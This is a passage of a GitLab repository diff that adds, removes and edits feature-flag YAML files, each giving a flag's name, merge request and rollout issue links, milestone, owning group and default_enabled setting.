@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/321387
milestone: '13.10'
type: development
group: group::source code
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/generate_iids_without_explicit_locking.yml b/config/feature_flags/development/generate_iids_without_explicit_locking.yml
new file mode 100644
index 00000000000..d2a7aeb8619
--- /dev/null
+++ b/config/feature_flags/development/generate_iids_without_explicit_locking.yml
@@ -0,0 +1,8 @@
+---
+name: generate_iids_without_explicit_locking
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65590
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335431
+milestone: '14.2'
+type: development
+group: group::database
+default_enabled: false
diff --git a/config/feature_flags/development/git_access_batched_changes_size.yml b/config/feature_flags/development/git_access_batched_changes_size.yml
new file mode 100644
index 00000000000..881ffcad5f1
--- /dev/null
+++ b/config/feature_flags/development/git_access_batched_changes_size.yml
@@ -0,0 +1,8 @@
+---
+name: git_access_batched_changes_size
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64503
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334130
+milestone: '14.1'
+type: development
+group: group::gitaly
+default_enabled: false
diff --git a/config/feature_flags/development/group_devops_adoption.yml b/config/feature_flags/development/group_devops_adoption.yml
deleted file mode 100644
index 112336eae7c..00000000000
--- a/config/feature_flags/development/group_devops_adoption.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: group_devops_adoption
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55039
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323159
-milestone: '13.10'
-type: development
-group: group::optimize
-default_enabled: true
diff --git a/config/feature_flags/development/helm_packages.yml b/config/feature_flags/development/helm_packages.yml
deleted file mode 100644
index 2e188ecd46f..00000000000
--- a/config/feature_flags/development/helm_packages.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: helm_packages
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61014
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331693
-milestone: '14.0'
-type: development
-group: group::package
-default_enabled: false
diff --git a/config/feature_flags/development/increase_page_size_exponentially.yml b/config/feature_flags/development/increase_page_size_exponentially.yml
new file mode 100644
index 00000000000..88f05d1e850
--- /dev/null
+++ b/config/feature_flags/development/increase_page_size_exponentially.yml
@@ -0,0 +1,8 @@
+---
+name: increase_page_size_exponentially
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66174
+rollout_issue_url:
+milestone: '14.1'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/infinitely_collapsible_sections.yml b/config/feature_flags/development/infinitely_collapsible_sections.yml
new file mode 100644
index 00000000000..44f37c06d70
--- /dev/null
+++ b/config/feature_flags/development/infinitely_collapsible_sections.yml
@@ -0,0 +1,8 @@
+---
+name: infinitely_collapsible_sections
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65496
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335297
+milestone: '14.1'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/integrated_error_tracking.yml b/config/feature_flags/development/integrated_error_tracking.yml
new file mode 100644
index 00000000000..7fc29492233
--- /dev/null
+++ b/config/feature_flags/development/integrated_error_tracking.yml
@@ -0,0 +1,8 @@
+---
+name: integrated_error_tracking
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65767
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335846
+milestone: '14.1'
+type: development
+group: group::monitor
+default_enabled: false
diff --git a/config/feature_flags/development/issue_boards_filtered_search.yml b/config/feature_flags/development/issue_boards_filtered_search.yml
new file mode 100644
index 00000000000..38cf723d69e
--- /dev/null
+++ b/config/feature_flags/development/issue_boards_filtered_search.yml
@@ -0,0 +1,8 @@
+---
+name: issue_boards_filtered_search
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61752
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331649
+milestone: '14.1'
+type: development
+group: group::product planning
+default_enabled: false
diff --git a/config/feature_flags/development/jira_issue_details_edit_labels.yml b/config/feature_flags/development/jira_issue_details_edit_labels.yml
new file mode 100644
index 00000000000..bccd7374907
--- /dev/null
+++ b/config/feature_flags/development/jira_issue_details_edit_labels.yml
@@ -0,0 +1,8 @@
+---
+name: jira_issue_details_edit_labels
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65298
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335069
+milestone: '14.1'
+type: development
+group: group::ecosystem
+default_enabled: false
diff --git a/config/feature_flags/development/jira_issue_details_edit_status.yml b/config/feature_flags/development/jira_issue_details_edit_status.yml
new file mode 100644
index 00000000000..9d64707a79f
--- /dev/null
+++ b/config/feature_flags/development/jira_issue_details_edit_status.yml
@@ -0,0 +1,8 @@
+---
+name: jira_issue_details_edit_status
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60092
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330628
+milestone: '14.1'
+type: development
+group: group::ecosystem
+default_enabled: false
diff --git a/config/feature_flags/development/kubernetes_agent_on_gitlab_com.yml b/config/feature_flags/development/kubernetes_agent_on_gitlab_com.yml
deleted file mode 100644
index fac509224e0..00000000000
--- a/config/feature_flags/development/kubernetes_agent_on_gitlab_com.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: kubernetes_agent_on_gitlab_com
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53322
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/300960
-milestone: '13.9'
-type: development
-group: group::configure
-default_enabled: false
diff --git a/config/feature_flags/development/lfs_link_existing_object.yml b/config/feature_flags/development/lfs_link_existing_object.yml
new file mode 100644
index 00000000000..b8a0b810209
--- /dev/null
+++ b/config/feature_flags/development/lfs_link_existing_object.yml
@@ -0,0 +1,7 @@
+---
+name: lfs_link_existing_object
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41770
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/249246
+group: group::source code
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/list_commits.yml b/config/feature_flags/development/list_commits.yml
new file mode 100644
index 00000000000..45c2ff53d47
--- /dev/null
+++ b/config/feature_flags/development/list_commits.yml
@@ -0,0 +1,8 @@
+---
+name: list_commits
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65468
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335208
+milestone: '14.1'
+type: development
+group: group::gitaly
+default_enabled: false
diff --git a/config/feature_flags/development/load_balancing_for_build_queue_worker.yml b/config/feature_flags/development/load_balancing_for_build_queue_worker.yml
deleted file mode 100644
index 1b80372ab82..00000000000
--- a/config/feature_flags/development/load_balancing_for_build_queue_worker.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: load_balancing_for_build_queue_worker
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63212
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332586
-milestone: '14.0'
-type: development
-group: group::memory
-default_enabled: false
diff --git a/config/feature_flags/development/load_balancing_for_expire_pipeline_cache_worker.yml b/config/feature_flags/development/load_balancing_for_expire_pipeline_cache_worker.yml
deleted file mode 100644
index 07c38c15230..00000000000
--- a/config/feature_flags/development/load_balancing_for_expire_pipeline_cache_worker.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: load_balancing_for_expire_pipeline_cache_worker
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62073
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331360
-milestone: '14.0'
-type: development
-group: group::memory
-default_enabled: false
diff --git a/config/feature_flags/development/load_balancing_for_pipeline_hooks_worker.yml b/config/feature_flags/development/load_balancing_for_pipeline_hooks_worker.yml
deleted file mode 100644
index 8e1794631f5..00000000000
--- a/config/feature_flags/development/load_balancing_for_pipeline_hooks_worker.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: load_balancing_for_pipeline_hooks_worker
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62104
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331424
-milestone: '14.0'
-type: development
-group: group::memory
-default_enabled: false
diff --git a/config/feature_flags/development/load_balancing_for_update_all_mirrors_worker.yml b/config/feature_flags/development/load_balancing_for_update_all_mirrors_worker.yml
new file mode 100644
index 00000000000..1f213f52753
--- /dev/null
+++ b/config/feature_flags/development/load_balancing_for_update_all_mirrors_worker.yml
@@ -0,0 +1,8 @@
+---
+name: load_balancing_for_update_all_mirrors_worker
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64526
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334162
+milestone: '14.1'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/load_balancing_refine_load_balancer_methods.yml b/config/feature_flags/development/load_balancing_refine_load_balancer_methods.yml
new file mode 100644
index 00000000000..bef59588f7a
--- /dev/null
+++ b/config/feature_flags/development/load_balancing_refine_load_balancer_methods.yml
@@ -0,0 +1,8 @@
+---
+name: load_balancing_refine_load_balancer_methods
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65356
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335109
+milestone: '14.1'
+type: development
+group: group::memory
+default_enabled: false
diff --git a/config/feature_flags/development/mailgun_events_receiver.yml b/config/feature_flags/development/mailgun_events_receiver.yml
new file mode 100644
index 00000000000..119d8d34f21
--- /dev/null
+++ b/config/feature_flags/development/mailgun_events_receiver.yml
@@ -0,0 +1,8 @@
+---
+name: mailgun_events_receiver
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64249
+rollout_issue_url:
+milestone: '14.1'
+type: development
+group: group::expansion
+default_enabled: false
diff --git a/config/feature_flags/development/merge_request_discussion_cache.yml b/config/feature_flags/development/merge_request_discussion_cache.yml
new file mode 100644
index 00000000000..e90887fc2b3
--- /dev/null
+++ b/config/feature_flags/development/merge_request_discussion_cache.yml
@@ -0,0 +1,8 @@
+---
+name: merge_request_discussion_cache
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64688
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335799
+milestone: '14.1'
+type: development
+group: group::code review
+default_enabled: false
diff --git a/config/feature_flags/development/merge_request_refs_cleanup.yml b/config/feature_flags/development/merge_request_refs_cleanup.yml
index 79ea3c8b7a7..7df06ccc52f 100644
--- a/config/feature_flags/development/merge_request_refs_cleanup.yml
+++ b/config/feature_flags/development/merge_request_refs_cleanup.yml
@@ -1,7 +1,7 @@
---
name: merge_request_refs_cleanup
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51558
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/296874
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/336070
milestone: '13.8'
type: development
group: group::code review
diff --git a/config/feature_flags/development/multiple_database_metrics.yml b/config/feature_flags/development/multiple_database_metrics.yml
new file mode 100644
index 00000000000..7a700982022
--- /dev/null
+++ b/config/feature_flags/development/multiple_database_metrics.yml
@@ -0,0 +1,8 @@
+---
+name: multiple_database_metrics
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63490
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/333227
+milestone: '14.1'
+type: development
+group: group::sharding
+default_enabled: false
diff --git a/config/feature_flags/development/multiple_oncall_schedules.yml b/config/feature_flags/development/multiple_oncall_schedules.yml
deleted file mode 100644
index c1640c30e8e..00000000000
--- a/config/feature_flags/development/multiple_oncall_schedules.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: multiple_oncall_schedules
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59829
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/328474
-milestone: '13.11'
-type: development
-group: group::monitor
-default_enabled: false
diff --git a/config/feature_flags/development/new_release_page.yml b/config/feature_flags/development/new_release_page.yml
deleted file mode 100644
index 7b73c296e4e..00000000000
--- a/config/feature_flags/development/new_release_page.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: new_release_page
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35367
-rollout_issue_url:
-milestone: '13.2'
-type: development
-group: group::release
-default_enabled: true
diff --git a/config/feature_flags/development/one_megabyte_file_size_limit.yml b/config/feature_flags/development/one_megabyte_file_size_limit.yml
new file mode 100644
index 00000000000..2bebebf8220
--- /dev/null
+++ b/config/feature_flags/development/one_megabyte_file_size_limit.yml
@@ -0,0 +1,8 @@
+---
+name: one_megabyte_file_size_limit
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65167
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334916
+milestone: '14.1'
+type: development
+group: group::code review
+default_enabled: false
diff --git a/config/feature_flags/development/package_details_apollo.yml b/config/feature_flags/development/package_details_apollo.yml
new file mode 100644
index 00000000000..aa8ee47df0c
--- /dev/null
+++ b/config/feature_flags/development/package_details_apollo.yml
@@ -0,0 +1,8 @@
+---
+name: package_details_apollo
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64939
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334786
+milestone: '14.1'
+type: development
+group: group::package
+default_enabled: false
diff --git a/config/feature_flags/development/partition_pruning_dry_run.yml b/config/feature_flags/development/partition_pruning_dry_run.yml
new file mode 100644
index 00000000000..427afa5fc94
--- /dev/null
+++ b/config/feature_flags/development/partition_pruning_dry_run.yml
@@ -0,0 +1,8 @@
+---
+name: partition_pruning_dry_run
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65093
+rollout_issue_url:
+milestone: '14.1'
+type: development
+group: group::database
+default_enabled: false
diff --git a/config/feature_flags/development/pipeline_editor_branch_switcher.yml b/config/feature_flags/development/pipeline_editor_branch_switcher.yml
index 4ba6c8f94fd..49cf2a07a2c 100644
--- a/config/feature_flags/development/pipeline_editor_branch_switcher.yml
+++ b/config/feature_flags/development/pipeline_editor_branch_switcher.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326189
milestone: '13.11'
type: development
group: group::pipeline authoring
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/pipeline_filter_jobs.yml b/config/feature_flags/development/pipeline_filter_jobs.yml
deleted file mode 100644
index 6fb989a6815..00000000000
--- a/config/feature_flags/development/pipeline_filter_jobs.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: pipeline_filter_jobs
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57142
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325693
-milestone: '13.11'
-type: development
-group: group::pipeline authoring
-default_enabled: false
diff --git a/config/feature_flags/development/project_finder_similarity_sort.yml b/config/feature_flags/development/project_finder_similarity_sort.yml
deleted file mode 100644
index 4dadee97fd5..00000000000
--- a/config/feature_flags/development/project_finder_similarity_sort.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: project_finder_similarity_sort
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/43136
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/263249
-milestone: '13.5'
-type: development
-group: group::threat insights
-default_enabled: false
diff --git a/config/feature_flags/development/project_statistics_sync.yml b/config/feature_flags/development/project_statistics_sync.yml
deleted file mode 100644
index 6eb6f76ad26..00000000000
--- a/config/feature_flags/development/project_statistics_sync.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: project_statistics_sync
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29636
-rollout_issue_url:
-milestone: '12.10'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/projects_post_creation_worker.yml b/config/feature_flags/development/projects_post_creation_worker.yml
deleted file mode 100644
index 5d07e71f907..00000000000
--- a/config/feature_flags/development/projects_post_creation_worker.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: projects_post_creation_worker
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58119
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326665
-milestone: '13.11'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/read_container_registry_access_level.yml b/config/feature_flags/development/read_container_registry_access_level.yml
deleted file mode 100644
index 9f4a223a169..00000000000
--- a/config/feature_flags/development/read_container_registry_access_level.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: read_container_registry_access_level
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55071
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332751
-milestone: '14.0'
-type: development
-group: group::package
-default_enabled: false
diff --git a/config/feature_flags/development/runner_detailed_view_vue_ui.yml b/config/feature_flags/development/runner_detailed_view_vue_ui.yml
index d2b07bd2140..78a09910e6c 100644
--- a/config/feature_flags/development/runner_detailed_view_vue_ui.yml
+++ b/config/feature_flags/development/runner_detailed_view_vue_ui.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325737
milestone: '13.11'
type: development
group: group::runner
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/runner_graphql_query.yml b/config/feature_flags/development/runner_graphql_query.yml
index 356c465fbbc..b7af0a2bb22 100644
--- a/config/feature_flags/development/runner_graphql_query.yml
+++ b/config/feature_flags/development/runner_graphql_query.yml
@@ -2,8 +2,7 @@
name: runner_graphql_query
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59763
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/328700
-milestone:
type: development
group: group::runner
-default_enabled: false
+default_enabled: true
milestone: '13.12'
diff --git a/config/feature_flags/development/runner_list_view_vue_ui.yml b/config/feature_flags/development/runner_list_view_vue_ui.yml
index 9aa4cf7c83c..2c539e5b91c 100644
--- a/config/feature_flags/development/runner_list_view_vue_ui.yml
+++ b/config/feature_flags/development/runner_list_view_vue_ui.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330969
milestone: '13.12'
type: development
group: group::runner
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/runner_registration_control.yml b/config/feature_flags/development/runner_registration_control.yml
new file mode 100644
index 00000000000..21edb90474d
--- /dev/null
+++ b/config/feature_flags/development/runner_registration_control.yml
@@ -0,0 +1,8 @@
+---
+name: runner_registration_control
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61407
+rollout_issue_url:
+milestone: '14.1'
+type: development
+group: group::runner
+default_enabled: false
diff --git a/config/feature_flags/development/search_sort_issues_by_popularity.yml b/config/feature_flags/development/search_sort_issues_by_popularity.yml
new file mode 100644
index 00000000000..64885f00792
--- /dev/null
+++ b/config/feature_flags/development/search_sort_issues_by_popularity.yml
@@ -0,0 +1,8 @@
+---
+name: search_sort_issues_by_popularity
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65231
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334974
+milestone: '14.1'
+type: development
+group: group::global search
+default_enabled: false
diff --git a/config/feature_flags/development/security_ci_lint_authorization.yml b/config/feature_flags/development/security_ci_lint_authorization.yml
deleted file mode 100644
index 73b3bd45727..00000000000
--- a/config/feature_flags/development/security_ci_lint_authorization.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: security_ci_lint_authorization
-introduced_by_url: https://gitlab.com/gitlab-org/security/gitlab/-/merge_requests/1279
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326708
-milestone: '14.0'
-type: development
-group: group::pipeline authoring
-default_enabled: false
diff --git a/config/feature_flags/development/security_configuration_redesign_ee.yml b/config/feature_flags/development/security_configuration_redesign_ee.yml
new file mode 100644
index 00000000000..bf981b65c7f
--- /dev/null
+++ b/config/feature_flags/development/security_configuration_redesign_ee.yml
@@ -0,0 +1,8 @@
+---
+name: security_configuration_redesign_ee
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65171
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/336077
+milestone: '14.1'
+type: development
+group: group::analyzer frontend
+default_enabled: false
diff --git a/config/feature_flags/development/sidebar_refactor.yml b/config/feature_flags/development/sidebar_refactor.yml
deleted file mode 100644
index eb13adfd147..00000000000
--- a/config/feature_flags/development/sidebar_refactor.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: sidebar_refactor
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58638
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326111
-milestone: '13.11'
-type: development
-group: group::editor
-default_enabled: true
diff --git a/config/feature_flags/development/sidekiq_job_completion_metric_initialize.yml b/config/feature_flags/development/sidekiq_job_completion_metric_initialize.yml
new file mode 100644
index 00000000000..95389b7b5d7
--- /dev/null
+++ b/config/feature_flags/development/sidekiq_job_completion_metric_initialize.yml
@@ -0,0 +1,8 @@
+---
+name: sidekiq_job_completion_metric_initialize
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64637
+rollout_issue_url: https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1133
+milestone: '14.1'
+type: development
+group: team::Scalability
+default_enabled: true
diff --git a/config/feature_flags/development/sidekiq_load_balancing_rotate_up_to_date_replica.yml b/config/feature_flags/development/sidekiq_load_balancing_rotate_up_to_date_replica.yml
deleted file mode 100644
index 4532cc0a59d..00000000000
--- a/config/feature_flags/development/sidekiq_load_balancing_rotate_up_to_date_replica.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: sidekiq_load_balancing_rotate_up_to_date_replica
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63413/
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/333153
-milestone: '14.0'
-type: development
-group: group::memory
-default_enabled: false
diff --git a/config/feature_flags/development/snippet_spam.yml b/config/feature_flags/development/snippet_spam.yml
deleted file mode 100644
index 299a69fd68d..00000000000
--- a/config/feature_flags/development/snippet_spam.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: snippet_spam
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44010
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/262013
-milestone: '13.5'
-type: development
-group: group::editor
-default_enabled: false
diff --git a/config/feature_flags/development/sort_by_project_users_by_project_authorizations_user_id.yml b/config/feature_flags/development/sort_by_project_users_by_project_authorizations_user_id.yml
new file mode 100644
index 00000000000..b88b50c2527
--- /dev/null
+++ b/config/feature_flags/development/sort_by_project_users_by_project_authorizations_user_id.yml
@@ -0,0 +1,8 @@
+---
+name: sort_by_project_users_by_project_authorizations_user_id
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64528
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334167
+milestone: '14.1'
+type: development
+group: group::optimize
+default_enabled: false
diff --git a/config/feature_flags/development/specialized_worker_for_project_share_update_auth_recalculation.yml b/config/feature_flags/development/specialized_worker_for_project_share_update_auth_recalculation.yml
new file mode 100644
index 00000000000..5e7d3819a4a
--- /dev/null
+++ b/config/feature_flags/development/specialized_worker_for_project_share_update_auth_recalculation.yml
@@ -0,0 +1,8 @@
+---
+name: specialized_worker_for_project_share_update_auth_recalculation
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61964
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334234
+milestone: '14.1'
+type: development
+group: group::access
+default_enabled: false
diff --git a/config/feature_flags/development/specialized_worker_for_project_transfer_auth_recalculation.yml b/config/feature_flags/development/specialized_worker_for_project_transfer_auth_recalculation.yml
new file mode 100644
index 00000000000..b77ed607501
--- /dev/null
+++ b/config/feature_flags/development/specialized_worker_for_project_transfer_auth_recalculation.yml
@@ -0,0 +1,8 @@
+---
+name: specialized_worker_for_project_transfer_auth_recalculation
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61967
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334237
+milestone: '14.1'
+type: development
+group: group::access
+default_enabled: false
diff --git a/config/feature_flags/development/trace_memory_allocations.yml b/config/feature_flags/development/trace_memory_allocations.yml
deleted file mode 100644
index 3760ceded43..00000000000
--- a/config/feature_flags/development/trace_memory_allocations.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: trace_memory_allocations
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52306
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/299524
-milestone: '13.9'
-type: development
-group: group::memory
-default_enabled: true
diff --git a/config/feature_flags/development/unified_diff_components.yml b/config/feature_flags/development/unified_diff_components.yml
deleted file mode 100644
index 262458820f7..00000000000
--- a/config/feature_flags/development/unified_diff_components.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: unified_diff_components
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44974
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/268039
-type: development
-group: group::code review
-default_enabled: true
-milestone: '13.6'
diff --git a/config/feature_flags/development/update_remote_mirror_inmemory.yml b/config/feature_flags/development/update_remote_mirror_inmemory.yml
index e1d347ffa7e..38c54c3cfc7 100644
--- a/config/feature_flags/development/update_remote_mirror_inmemory.yml
+++ b/config/feature_flags/development/update_remote_mirror_inmemory.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/333517
milestone: '14.0'
type: development
group: group::gitaly
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_code_review_aggregation.yml b/config/feature_flags/development/usage_data_code_review_aggregation.yml
deleted file mode 100644
index 23c8f86360a..00000000000
--- a/config/feature_flags/development/usage_data_code_review_aggregation.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: usage_data_code_review_aggregation
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53553
-rollout_issue_url:
-milestone: '13.9'
-type: development
-group: group::code review
-default_enabled: true
diff --git a/config/feature_flags/development/usage_data_i_ci_secrets_management_vault_build_created.yml b/config/feature_flags/development/usage_data_i_ci_secrets_management_vault_build_created.yml
index de3ca4fc689..0019b949a98 100644
--- a/config/feature_flags/development/usage_data_i_ci_secrets_management_vault_build_created.yml
+++ b/config/feature_flags/development/usage_data_i_ci_secrets_management_vault_build_created.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46515
rollout_issue_url:
milestone: '13.6'
type: development
-group: group::release
+group: group::configure
default_enabled: true
diff --git a/config/feature_flags/development/use_distinct_for_all_object_hierarchy.yml b/config/feature_flags/development/use_distinct_for_all_object_hierarchy.yml
deleted file mode 100644
index 9412e6af327..00000000000
--- a/config/feature_flags/development/use_distinct_for_all_object_hierarchy.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: use_distinct_for_all_object_hierarchy
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57052
-rollout_issue_url:
-milestone: '13.11'
-type: development
-group: group::database
-default_enabled: false
diff --git a/config/feature_flags/development/use_distinct_in_object_hierarchy.yml b/config/feature_flags/development/use_distinct_in_object_hierarchy.yml
deleted file mode 100644
index 7604606ea88..00000000000
--- a/config/feature_flags/development/use_distinct_in_object_hierarchy.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: use_distinct_in_object_hierarchy
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56509
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/324644
-milestone: '13.10'
-type: development
-group: group::optimize
-default_enabled: false
diff --git a/config/feature_flags/development/use_distinct_in_register_job_object_hierarchy.yml b/config/feature_flags/development/use_distinct_in_register_job_object_hierarchy.yml
deleted file mode 100644
index b9652d26834..00000000000
--- a/config/feature_flags/development/use_distinct_in_register_job_object_hierarchy.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: use_distinct_in_register_job_object_hierarchy
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57045
-rollout_issue_url:
-milestone: '13.11'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/use_distinct_in_shas_cte.yml b/config/feature_flags/development/use_distinct_in_shas_cte.yml
deleted file mode 100644
index b741b8d5f0c..00000000000
--- a/config/feature_flags/development/use_distinct_in_shas_cte.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: use_distinct_in_shas_cte
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61454
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330586
-milestone: '13.12'
